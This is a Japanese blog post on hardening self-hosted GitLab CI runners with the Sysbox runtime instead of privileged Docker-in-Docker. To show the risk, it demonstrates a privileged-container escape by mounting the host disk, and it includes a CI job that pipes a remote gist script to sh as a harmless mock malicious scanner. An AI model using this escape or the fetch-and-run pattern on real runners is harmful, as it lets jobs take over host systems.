GitLab CI/CD + Sysboxで安全なCIを作る

Info
本記事はAkatsuki Advent Calendar 2021の16日目の記事です。 15日目は Yuji Sugiyama さんの 新卒1年目が考える、業務プログラミングでインプットを効率化する7つの習慣 でした。

便利なGitLab CI/CD

私は大学時代からGitLabが好きです。部活動ではGitLabをセルフホストしましたし、研究室ではGitLab.comを使ってプライベートなグループを運用したりしました。機能で言えばSubgroupは非常に便利ですし、特にCI/CDについてはGitHubよりも使いやすいと感じていて1、今でも好き勝手できる趣味プロジェクトではセルフホストしたインスタンスやRunnerを利用してします。 もちろんGitLabに思うところも色々ありましたが2、成長し続けて欲しいソフトウェアの一つであることは間違いありません。

ところで、CIジョブ内でDockerイメージのビルドやレジストリへのプッシュをしたくなる時があります(ありませんか?)。さらに言えば、ジョブ内でdocker-composeなどをそのまま実行してテスト等を回したいこともしばしばあります3。 GitLabの場合、GitLab.comでホストされているRunnerであれば何も考える必要はありませんが、セルフホストしたRunner(CI/CD実行環境)で実現しようとするとそのための設定が必要です。例えば、こういった具合に。

[[runners]]
  url = "https://gitlab.com/"
  token = REGISTRATION_TOKEN
  executor = "docker"
  [runners.docker]
    tls_verify = false
    image = "docker:19.03.12"
    privileged = false
    disable_cache = false
    volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"]
  [runners.cache]
    Insecure = false
例 : Docker-outside-of-Docker (DooD) を利用する例。GitLabのドキュメントより引用。

上記の設定でRunnerをセットアップすれば、あとはCIから docker なり docker-compose なりを叩くだけでいつも通りビルドしたり実行したりできます。さあ、さっさと空いてるVMとかで適当にRunnerを立ち上げて自由を楽しみましょう。イェイ!

セルフホストでも大事なセキュリティ

……おっと、ちょっと待ってください。確かにこの設定で動作はします。でも、これはセキュアではありませんよね4。ホストのdocker.sockをそのままCIのコンテナに引き渡しているので、コンテナはDockerを経由してホストを事実上掌握できてしまうじゃないですか。また、例えばジョブ内で docker run -d ImageName を実行すると、ジョブが終了してもホスト上で当該コンテナは生き続けてしまいます。怖いですね。 さらに言えば、この方法ではジョブを跨いでイメージが共有されます。つまり、ジョブAがイメージexample/Aをビルドし終えた直後にジョブBが別のイメージを同名でビルドし終えた時、example/Aの指す先は後者のイメージになってしまいます。再利用できるという意味ではちょっぴりエコかもしれませんが、タイミング次第では困ったことになりそうです。 ビルドにせよテストにせよ、事情がない限り5はジョブごとにまっさらな環境で走ってもらいたいものですよね。

では、他の方法はないのでしょうか。再度ドキュメントを読むと、コンテナ内でDockerを動作させるDinD(Docker-in-Docker)の例があるようです。この場合、Runnerを以下の具合に設定します。

[[runners]]
  url = "https://gitlab.com/"
  token = TOKEN
  executor = "docker"
  [runners.docker]
    tls_verify = false
    image = "docker:19.03.12"
    privileged = true
    disable_cache = false
    volumes = ["/certs/client", "/cache"]
  [runners.cache]
    [runners.cache.s3]
    [runners.cache.gcs]
例 : Docker-in-Docker (DinD) を利用する例。GitLabのドキュメントより引用。

こうすれば、Dockerをコンテナ内で実行することができます。肝は privileged = true で、この設定がなければ動作しません。 何はともあれ、こうすることでホストのrootを奪われることもないし、ジョブを跨いだゾンビコンテナが発生することもないし、別のジョブのイメージで自身のビルドが汚染されることもありません。やったあ!

……。

…………。

いやいや、ちょっと待ってください。本当にそうでしょうか? もちろん、答えはノーです。確かに既に挙げられた問題は解決したように見えますが、大きな落とし穴があります。 そう、新たに設定された privileged = true です。ドキュメント曰く、これはDockerの privileged フラグを操作するもので、これを有効にするとジョブが実行されるコンテナに大きな力が与えられます。その力とは? ズバリ、ホストの全デバイスにアクセスできる能力です。

例を示しましょう。ここに、DockerがインストールされたUbuntu 20.04 LTSのVM6があります。

[email protected]:~$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 20.04.3 LTS
Release:	20.04
Codename:	focal
[email protected]:~$ sudo docker version
Client:
 Version:           20.10.7
 API version:       1.41
 Go version:        go1.13.8
 Git commit:        20.10.7-0ubuntu5~20.04.2
 Built:             Mon Nov  1 00:34:17 2021
 OS/Arch:           linux/amd64
 Context:           default
 Experimental:      true

Server:
 Engine:
  Version:          20.10.7
  API version:      1.41 (minimum version 1.12)
  Go version:       go1.13.8
  Git commit:       20.10.7-0ubuntu5~20.04.2
  Built:            Fri Oct 22 00:45:53 2021
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.5.5-0ubuntu3~20.04.1
  GitCommit:        
 runc:
  Version:          1.0.1-0ubuntu2~20.04.1
  GitCommit:        
 docker-init:
  Version:          0.19.0
  GitCommit: 

まずはお馴染みAlpine Linuxのコンテナを普通に立ち上げて、デバイスファイルを見てみます。

[email protected]:~$ sudo docker run --rm -it alpine:latest /bin/sh
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
59bf1c3509f3: Pull complete 
Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300
Status: Downloaded newer image for alpine:latest
/ # ls -al /dev/
total 4
drwxr-xr-x    5 root     root           360 Dec  9 14:40 .
drwxr-xr-x    1 root     root          4096 Dec  9 14:40 ..
crw--w----    1 root     tty       136,   0 Dec  9 14:40 console
lrwxrwxrwx    1 root     root            11 Dec  9 14:40 core -> /proc/kcore
lrwxrwxrwx    1 root     root            13 Dec  9 14:40 fd -> /proc/self/fd
crw-rw-rw-    1 root     root        1,   7 Dec  9 14:40 full
drwxrwxrwt    2 root     root            40 Dec  9 14:40 mqueue
crw-rw-rw-    1 root     root        1,   3 Dec  9 14:40 null
lrwxrwxrwx    1 root     root             8 Dec  9 14:40 ptmx -> pts/ptmx
drwxr-xr-x    2 root     root             0 Dec  9 14:40 pts
crw-rw-rw-    1 root     root        1,   8 Dec  9 14:40 random
drwxrwxrwt    2 root     root            40 Dec  9 14:40 shm
lrwxrwxrwx    1 root     root            15 Dec  9 14:40 stderr -> /proc/self/fd/2
lrwxrwxrwx    1 root     root            15 Dec  9 14:40 stdin -> /proc/self/fd/0
lrwxrwxrwx    1 root     root            15 Dec  9 14:40 stdout -> /proc/self/fd/1
crw-rw-rw-    1 root     root        5,   0 Dec  9 14:40 tty
crw-rw-rw-    1 root     root        1,   9 Dec  9 14:40 urandom
crw-rw-rw-    1 root     root        1,   5 Dec  9 14:40 zero

お次に、privilegedなコンテナを立ち上げて、デバイスファイルを見てみます。

[email protected]:~$ sudo docker run --rm --privileged -it alpine:latest /bin/sh
/ # ls -al /dev/
total 4
drwxr-xr-x   13 root     root          3660 Dec  9 14:44 .
drwxr-xr-x    1 root     root          4096 Dec  9 14:44 ..
crw-r--r--    1 root     root       10, 235 Dec  9 14:44 autofs
drwxr-xr-x    2 root     root            60 Dec  9 14:44 bsg
crw-rw----    1 root     disk       10, 234 Dec  9 14:44 btrfs-control
crw--w----    1 root     tty       136,   0 Dec  9 14:44 console
lrwxrwxrwx    1 root     root            11 Dec  9 14:44 core -> /proc/kcore
drwxr-xr-x    3 root     root            60 Dec  9 14:44 cpu
crw-------    1 root     root       10,  59 Dec  9 14:44 cpu_dma_latency
crw-------    1 root     root       10, 203 Dec  9 14:44 cuse
crw-------    1 root     root       10,  62 Dec  9 14:44 ecryptfs
lrwxrwxrwx    1 root     root            13 Dec  9 14:44 fd -> /proc/self/fd
crw-rw-rw-    1 root     root        1,   7 Dec  9 14:44 full
crw-rw-rw-    1 root     root       10, 229 Dec  9 14:44 fuse
crw-------    1 root     root       10, 228 Dec  9 14:44 hpet
crw-------    1 root     root       10, 183 Dec  9 14:44 hwrng
drwxr-xr-x    2 root     root            80 Dec  9 14:44 input
crw-r--r--    1 root     root        1,  11 Dec  9 14:44 kmsg
drwxr-xr-x    2 root     root            60 Dec  9 14:44 lightnvm
crw-rw----    1 root     disk       10, 237 Dec  9 14:44 loop-control
brw-rw----    1 root     disk        7,   0 Dec  9 14:44 loop0
brw-rw----    1 root     disk        7,   1 Dec  9 14:44 loop1
brw-rw----    1 root     disk        7,   2 Dec  9 14:44 loop2
brw-rw----    1 root     disk        7,   3 Dec  9 14:44 loop3
brw-rw----    1 root     disk        7,   4 Dec  9 14:44 loop4
brw-rw----    1 root     disk        7,   5 Dec  9 14:44 loop5
brw-rw----    1 root     disk        7,   6 Dec  9 14:44 loop6
brw-rw----    1 root     disk        7,   7 Dec  9 14:44 loop7
drwxr-xr-x    2 root     root            60 Dec  9 14:44 mapper
crw-------    1 root     root       10, 227 Dec  9 14:44 mcelog
crw-r-----    1 root     man         1,   1 Dec  9 14:44 mem
drwxrwxrwt    2 root     root            40 Dec  9 14:44 mqueue
drwxr-xr-x    2 root     root            60 Dec  9 14:44 net

... 中略 ...

crw-rw----    1 root     tty         7,  70 Dec  9 14:44 vcsu6
brw-rw----    1 root     disk      252,   0 Dec  9 14:44 vda
brw-rw----    1 root     disk      252,   1 Dec  9 14:44 vda1
brw-rw----    1 root     disk      252,  14 Dec  9 14:44 vda14
brw-rw----    1 root     disk      252,  15 Dec  9 14:44 vda15
drwxr-xr-x    2 root     root            60 Dec  9 14:44 vfio
crw-------    1 root     root       10,  63 Dec  9 14:44 vga_arbiter
crw-------    1 root     root       10, 238 Dec  9 14:44 vhost-net
crw-------    1 root     root       10, 241 Dec  9 14:44 vhost-vsock
crw-rw-rw-    1 root     root        1,   5 Dec  9 14:44 zero
crw-------    1 root     root       10, 249 Dec  9 14:44 zfs

なるほど、確かにあらゆるデバイスにアクセスできるようになったようです(一部省略するくらいには)。 ……お気づきでしょうか? つまり、そう、こんなことができてしまうのです。

# privilegedなコンテナで……
/ # mount /dev/vda1 /mnt
/ # ls -al /mnt/
total 88
drwxr-xr-x   19 root     root          4096 Dec  9 14:36 .
drwxr-xr-x    1 root     root          4096 Dec  9 14:44 ..
lrwxrwxrwx    1 root     root             7 Nov 29 21:38 bin -> usr/bin
drwxr-xr-x    4 root     root          4096 Nov 29 21:42 boot
drwxr-xr-x    5 root     root          4096 Nov 29 21:41 dev
drwxr-xr-x   97 root     root          4096 Dec  9 14:38 etc
drwxr-xr-x    3 root     root          4096 Dec  9 14:36 home
lrwxrwxrwx    1 root     root             7 Nov 29 21:38 lib -> usr/lib
lrwxrwxrwx    1 root     root             9 Nov 29 21:38 lib32 -> usr/lib32
lrwxrwxrwx    1 root     root             9 Nov 29 21:38 lib64 -> usr/lib64
lrwxrwxrwx    1 root     root            10 Nov 29 21:38 libx32 -> usr/libx32
drwx------    2 root     root         16384 Nov 29 21:42 lost+found
drwxr-xr-x    2 root     root          4096 Nov 29 21:38 media
drwxr-xr-x    2 root     root          4096 Nov 29 21:38 mnt
drwxr-xr-x    3 root     root          4096 Dec  9 14:38 opt
drwxr-xr-x    2 root     root          4096 Apr 15  2020 proc
drwx------    4 root     root          4096 Dec  9 14:36 root
drwxr-xr-x    3 root     root          4096 Nov 29 21:42 run
lrwxrwxrwx    1 root     root             8 Nov 29 21:38 sbin -> usr/sbin
drwxr-xr-x    8 root     root          4096 Dec  9 14:36 snap
drwxr-xr-x    2 root     root          4096 Nov 29 21:38 srv
drwxr-xr-x    2 root     root          4096 Apr 15  2020 sys
drwxrwxrwt   12 root     root          4096 Dec  9 14:44 tmp
drwxr-xr-x   15 root     root          4096 Nov 29 21:40 usr
drwxr-xr-x   13 root     root          4096 Nov 29 21:41 var
/ # echo "YOU'VE BEEN HACKED!!!" > /mnt/YOU_ARE_AN_IDIOT

上の操作をした後でホストを見ると、こんなことになっています。

[email protected]:~$ ls -al /
total 76
drwxr-xr-x  19 root root  4096 Dec  9 23:52 .
drwxr-xr-x  19 root root  4096 Dec  9 23:52 ..
-rw-r--r--   1 root root    22 Dec  9 23:52 YOU_ARE_AN_IDIOT
lrwxrwxrwx   1 root root     7 Nov 30 06:38 bin -> usr/bin
drwxr-xr-x   4 root root  4096 Nov 30 06:42 boot
drwxr-xr-x  17 root root  3840 Dec  9 23:36 dev
drwxr-xr-x  97 root root  4096 Dec  9 23:51 etc
drwxr-xr-x   3 root root  4096 Dec  9 23:36 home
lrwxrwxrwx   1 root root     7 Nov 30 06:38 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Nov 30 06:38 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Nov 30 06:38 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Nov 30 06:38 libx32 -> usr/libx32
drwx------   2 root root 16384 Nov 30 06:42 lost+found
drwxr-xr-x   2 root root  4096 Nov 30 06:38 media
drwxr-xr-x   2 root root  4096 Nov 30 06:38 mnt
drwxr-xr-x   3 root root  4096 Dec  9 23:38 opt
dr-xr-xr-x 171 root root     0 Dec  9 23:35 proc
drwx------   4 root root  4096 Dec  9 23:36 root
drwxr-xr-x  31 root root   960 Dec  9 23:50 run
lrwxrwxrwx   1 root root     8 Nov 30 06:38 sbin -> usr/sbin
drwxr-xr-x   8 root root  4096 Dec  9 23:36 snap
drwxr-xr-x   2 root root  4096 Nov 30 06:38 srv
dr-xr-xr-x  13 root root     0 Dec  9 23:35 sys
drwxrwxrwt  12 root root  4096 Dec  9 23:50 tmp
drwxr-xr-x  15 root root  4096 Nov 30 06:40 usr
drwxr-xr-x  13 root root  4096 Nov 30 06:41 var
[email protected]:~$ cat /YOU_ARE_AN_IDIOT 
YOU'VE BEEN HACKED!!!

なんということでしょう! privilegedなコンテナからホストのドライブにアクセスされ、イタズラまでされてしまいました。 つまり、Runnerでprivilegedを有効にした場合、管理者はやはりホストへのアクセスをジョブに許してしまうのです7

これを根本的に対策できるものは存在しないのでしょうか。そもそもprivilegedをコンテナに与えなくともDinDが実行できれば良いのです。そんな夢の仕組みがあれば……しかし、そんな都合の良いものなんて…… そう、あるんです。

偉大なる存在、Sysbox

Sysboxは、米国Nestybox社が提供する自由ソフトウェアのコンテナランタイムです。コンテナランタイムというのはコンテナを実際に動作させるために必要なソフトウェアのことで、SysboxはそのうちrunCと呼ばれる低レイヤーを担う部分の実装となっています。 SysboxはDinDの生みの親からも2020年に太鼓判を押されており8、界隈では一定の信任を得られていると言えるでしょう。 具体的にどう素晴らしいのか。それは例えば :

  • Dockerやsystemdなど、従来のrunCではコンテナ内での実行に際しprivilegedが必要だったものを、privileged不要で実行可能になる
  • Linux user-namespaceやシステムファイルの仮想化機能により、より強力な分離を実現

など。クールだと思いませんか? Sysboxではこうした機能を持つコンテナのことを(一般的なコンテナと区別して)System Container9と呼んでいます。

SysboxはUbuntuやCentOS等、主要なLinuxディストリビューションに対応している10ので、誰でも簡単に使い始めることができます。切り替えも至って簡単。SysboxのrunCを用いてDockerでコンテナを立ち上げるには --runtime=sysbox-runcdocker run の引数に与えるだけです。
Runnerだとどうでしょう。これもやはり簡単で、Runnerのconfig.tomlに runtime = "sysbox-runc" を付与するだけで、Runnerが立ち上げるコンテナにSysboxが利用されるようになります。

Warning
注意点として、GitLab Runner 14.4.0より前には runtime 設定が正しく適用されないバグがあります(gitlab-org/gitlab-runner!3063)。Sysboxを手軽に試すにはGitLab Runner 14.4.0以上を利用してください。

ともあれ Hooray! これさえあれば、CIを安全に動作させることも可能そうです。

ものは試し : 実演

ここまで色々と説明しましたが、説明文だけで思いは伝わらないものです。そういうわけで、実際に試してみることとしましょう。

テスト用環境

Sysboxを試すため、新たに以下の環境を構築しました6。全てのVMは同一ネットワークに接続され、通信の阻害はありません。NATを通して各VMはインターネットと接続されています。 GitLab本体に各Runnerが設定され、tag sysbox でSysboxのインストールされたRunnerで、 tag bad で通常のRunnerでジョブが実行されます。 GitLab, GitLab RunnerはDockerで実行しており、セットアップ内容は一般的なもののため割愛します。

┌──────────────────────────────────────────────────────────────────────────────────┐
│                                                                                  │
│ ┌────────────────────────────────────┐    ┌────────────────────────────────────┐ │
│ │Ubuntu 20.04 / GitLab Runner 14.5.2 │    │Ubuntu 20.04 / GitLab Runner 14.5.2 │ │
│ │(sysbox)                with Sysbox │    │(bad)                               │ │
│ │192.168.64.7                        │    │192.168.64.8                        │ │
│ └────────────────────────────────────┘    └────────────────────────────────────┘ │
│                  ▲                                           ▲                   │
│                  │                                           │                   │
│                  │                                           │                   │
│                  │                                           │                   │
│                  │                                           │                   │
│                  │   ┌───────────────────────────────────┐   │                   │
│                  │   │   Ubuntu 20.04 / GitLab 14.5.2    │   │                   │
│                  └───┤                                   ├───┘                   │
│                      │   192.168.64.6                    │                       │
│                      └───────────────────────────────────┘                       │
│                                                                                  │
└──────────────────────────────────────────────────────────────────────────────────┘
                                         │ Internet (NAT)
雑なネットワーク構成図

各Runnerの設定は以下の通りです。要件は『DinDが可能であること』とし、それに準ずる設定とします。

concurrent = 1
check_interval = 0

[session_server]
  session_timeout = 1800

[[runners]]
  name = "SafeRunner"
  url = "http://192.168.64.6"
  token = "** HIDDEN **"
  executor = "docker"
  [runners.custom_build_dir]
  [runners.cache]
    [runners.cache.s3]
    [runners.cache.gcs]
    [runners.cache.azure]
  [runners.docker]
    tls_verify = false
    image = "docker:19.03.12"
    privileged = false
    disable_entrypoint_overwrite = false
    oom_kill_disable = false
    disable_cache = false
    runtime = "sysbox-runc"
    volumes = ["/certs/client", "/cache"]
    shm_size = 0
Sysboxの動作するRunner設定
concurrent = 1
check_interval = 0

[session_server]
  session_timeout = 1800

[[runners]]
  name = "UnsafeRunner"
  url = "http://192.168.64.6"
  token = "** HIDDEN **"
  executor = "docker"
  [runners.custom_build_dir]
  [runners.cache]
    [runners.cache.s3]
    [runners.cache.gcs]
    [runners.cache.azure]
  [runners.docker]
    tls_verify = false
    image = "docker:19.03.12"
    privileged = true
    disable_entrypoint_overwrite = false
    oom_kill_disable = false
    disable_cache = false
    volumes = ["/certs/client", "/cache"]
    shm_size = 0
通常のRunner設定

上記のように設定されたRunnerらが正しくDinDを実行できる環境であるかを確認するため、以下の .gitlab-ci.yml を作成してジョブを実行してみましょう。

image: alpine:latest

variables:
  DOCKER_TLS_CERTDIR: "/certs"

services:
  - docker:19.03.12-dind

stages:
  - check-docker

docker-check-safe:
  stage: check-docker
  image: docker:19.03.12
  tags:
    - sysbox
  script:
    - docker run hello-world
docker-check-unsafe:
  stage: check-docker
  image: docker:19.03.12
  tags:
    - bad
  script:
    - docker run hello-world

この実行結果は、以下の通りです。

SysboxのRunner

SysboxのRunner

通常のRunner

通常のRunner

どちらもDinDが有効で、コンテナ内で docker run hello-world が動作できていることが分かりました。 つまり、既に述べた要件は満たしています。となれば、残るはSysboxを試すだけ! 早速真価を見せてもらいましょう。

レッツ・ラン! 偽セキュリティスキャナを動かしてみる

せっかくなのでリアリティのあるシナリオを考えてみました。ゲームっぽいロールプレイ、筋書きはこうです。

ある会社に勤める開発者Aさんは、GitLab上で非公開のソフトウェアを開発中です。Aさんはある時『実行するだけで簡単にソフトウェアのセキュリティスキャンをしてくれるスクリプト』の配布サイトを見つけました。そこに書いてある内容によると、CIでワンライナーを実行するだけで自動的にスキャンしてくれるとか。Aさんはその文言を信じ、内容を確認せず設定ファイルにワンライナーをペーストしてしまいーー

このスキャナですが、当然実際は偽のスキャン結果を表示しつつ裏でRunnerホストのバナーを変更する自作悪戯スクリプトです。もちろん無害ですが、Runnerホストにログインしたサーバー管理者はきっと肝が冷えることでしょう。

この偽スキャナを 『通常のDockerで実行した世界』『Sysboxで実行した世界』 のそれぞれについて、結果を比較することで動作を確認します。

まずは通常のDockerで実行される場合です。このとき、 .gitlab-ci.yml は以下のようになります。

image: alpine:latest

stages:
  - test

test-unsafe:
  stage: test
  tags: 
    - bad
  script:
    - SCAN=y wget -O - https://gist.githubusercontent.com/flfymoss/4978e8dacde8bb94b872f495c2c9bf06/raw/74d36097856ec0e4ff4044121a814e35d2e0e694/scanner.sh | SCAN=y sh -s
CI設定ファイル。先頭のSCAN=yは冗長だが、うっかり付与していた(動作に影響なし)

結果は……

DockerのRunnerで偽スキャナを動作させた場合

DockerのRunnerで偽スキャナを動作させた場合

特にエラーもなく、 Absolutely secure! 。では、RunnerのVMにログインしてみましょう。

~  $ multipass shell runner-bad   
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Dec 16 00:12:55 JST 2021

  System load:                      0.0
  Usage of /:                       14.2% of 28.90GB
  Memory usage:                     18%
  Swap usage:                       0%
  Processes:                        141
  Users logged in:                  1
  IPv4 address for br-9dab856a8e3e: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for enp0s2:          192.168.64.8


10 updates can be applied immediately.
4 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


HEY, BUY ME A BEER! :)
Last login: Thu Dec 16 00:12:26 2021 from 192.168.64.1
[email protected]:~$ cat /etc/motd
HEY, BUY ME A BEER! :)

さあ大変です、Dockerの壁を突き抜けてRunnerホストのバナーが書き変わってしまいました。もし悪意のあるスクリプトだったなら……名も知らぬ人のためにビットコインの採掘を始めてしまうかもしれません。怖いですね。 こちらの世界線だと、Aさんは翌日こっぴどく叱られてしまいそうです11

一方、Sysboxを使った方はどうでしょうか。以下の .gitlab-ci.yml を使います。

image: alpine:latest

stages:
  - test

test-safe:
  stage: test
  tags: 
    - sysbox
  script:
    - SCAN=y wget -O - https://gist.githubusercontent.com/flfymoss/4978e8dacde8bb94b872f495c2c9bf06/raw/74d36097856ec0e4ff4044121a814e35d2e0e694/scanner.sh | SCAN=y sh -s
CI設定ファイル。先頭のSCAN=yは冗長だが、うっかり付与していた(動作に影響なし)

実行結果は以下の通り。

SysboxのRunnerで偽スキャナを動作させた場合

SysboxのRunnerで偽スキャナを動作させた場合

おや、何やら防いだっぽいエラーが出ていますね。Runnerホストにログインしてみましょう。

~  $ multipass shell runner
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Dec 16 00:47:00 JST 2021

  System load:                      0.0
  Usage of /:                       14.4% of 28.90GB
  Memory usage:                     19%
  Swap usage:                       0%
  Processes:                        133
  Users logged in:                  0
  IPv4 address for br-0e2fab8fdec4: 172.25.1.1
  IPv4 address for docker0:         172.20.0.1
  IPv4 address for enp0s2:          192.168.64.7

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

6 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


Last login: Thu Dec 16 00:46:51 2021 from 192.168.64.1

ホストにも影響が出ていないようです(Absolutely secure!)。privilegedを付与していないので当然と言えば当然ですが、確かに安全なようですね。 ちなみに、sysboxで実行時のデバイスファイル一覧は以下のようになっています。

$ ls -al /dev/
total 4
drwxr-xr-x    5 root     root           360 Dec 15 08:19 .
drwxr-xr-x    1 root     root          4096 Dec 15 08:19 ..
lrwxrwxrwx    1 root     root            11 Dec 15 08:19 core -> /proc/kcore
lrwxrwxrwx    1 root     root            13 Dec 15 08:19 fd -> /proc/self/fd
crw-rw-rw-    1 nobody   nobody      1,   7 Dec 15 03:35 full
crw-rw-rw-    1 nobody   nobody      1,   3 Dec 15 03:35 kmsg
drwxrwxrwt    2 root     nobody          40 Dec 15 08:19 mqueue
crw-rw-rw-    1 nobody   nobody      1,   3 Dec 15 03:35 null
lrwxrwxrwx    1 root     root             8 Dec 15 08:19 ptmx -> pts/ptmx
drwxr-xr-x    2 root     root             0 Dec 15 08:19 pts
crw-rw-rw-    1 nobody   nobody      1,   8 Dec 15 03:35 random
drwxrwxrwt    2 root     root            40 Dec 15 08:19 shm
lrwxrwxrwx    1 root     root            15 Dec 15 08:19 stderr -> /proc/self/fd/2
lrwxrwxrwx    1 root     root            15 Dec 15 08:19 stdin -> /proc/self/fd/0
lrwxrwxrwx    1 root     root            15 Dec 15 08:19 stdout -> /proc/self/fd/1
crw-rw-rw-    1 nobody   nobody      5,   0 Dec 15 03:35 tty
crw-rw-rw-    1 nobody   nobody      1,   9 Dec 15 03:35 urandom
crw-rw-rw-    1 nobody   nobody      1,   5 Dec 15 03:35 zero

Looks good! まさに求めていた環境であることが確認できました。

まとめ

GitLab CI/CDをはじめ、CI系ツールはセルフホストしようとするとセキュリティにも気を配らないといけません。もちろん、信頼できる人しか使わないツールであれば多少ルーズに設定しておいても差し支えはないでしょう。しかし、有事の際に「もしかして……」と疑心暗鬼になるくらいなら、こうしたランタイムを入れておくのも保険として有効なのではないでしょうか。

本稿では従来のDinDとSysboxを利用したGitLabのCI/CD環境をそれぞれ用意し、不正なスクリプトを実行してしまった状況を比較しました。結果としてSysboxを利用した場合、意図せぬホストへの操作を防ぐことができるのを確認しました。

今回は都合上ボリュームマウントの点についてしか比較できませんでしたが、privilegedを付与されたコンテナに対する攻撃は他にもあります。余裕や需要があれば、他の攻撃手法に対する比較も行っていきたいところです。

Tip
耳寄りな情報として、Sysboxには企業向けのEnterprise Edition(EE)があります。EEでは通常のSysboxの機能に加え、技術サポート、より強力な隔離機能、分離コンテナのイメージを共有できる機能等が得られるようです。プロダクション環境で利用される場合はEEもいかがでしょうか。

参考文献


  1. GitHubも巨大なコミュニティや資本力(無償枠の拡大等)で強みを有していますが、Runnerのセットアップのしやすさや自由度の高さにおいてはGitLabも負けていません。特にGitLabは誰でも簡単に本体ごとセルフホストできて(これぞ自由ソフトウェア!)、自前のコンテナレジストリと連携させる等が容易で非常に心強いです。 ↩︎

  2. ユーザー追跡Bronzeプランの廃止等。 ↩︎

  3. CI/CDに一個一個DB等のserviceを定義してもいいんですが、どうせなら開発環境のcomposeプロジェクトをそのまま動かしたいなあなんて思いませんか。メンテナンスとか面倒だし……。 ↩︎

  4. オートスケール等でジョブごとに使い捨てのインスタンスを割り当てる場合、リスクは軽減できます。 ↩︎

  5. そのマシンでしか動かせないものはこの例に当てはまるでしょう。例えば、ライセンス管理が必要な製品を動かす場合などです。 ↩︎

  6. Multipassを利用してIntel Mac上で動作させています。 ↩︎ ↩︎

  7. 他にもカーネルモジュールを利用してホストに影響を与える手法等も存在するようですが、本稿では割愛します。 ↩︎

  8. https://jpetazzo.github.io/2015/09/03/do-not-use-docker-in-docker-for-ci/ ↩︎

  9. https://github.com/nestybox/sysbox/blob/master/docs/user-guide/concepts.md#system-container ↩︎

  10. https://github.com/nestybox/sysbox/blob/master/docs/distro-compat.md ↩︎

  11. あるいは…… ↩︎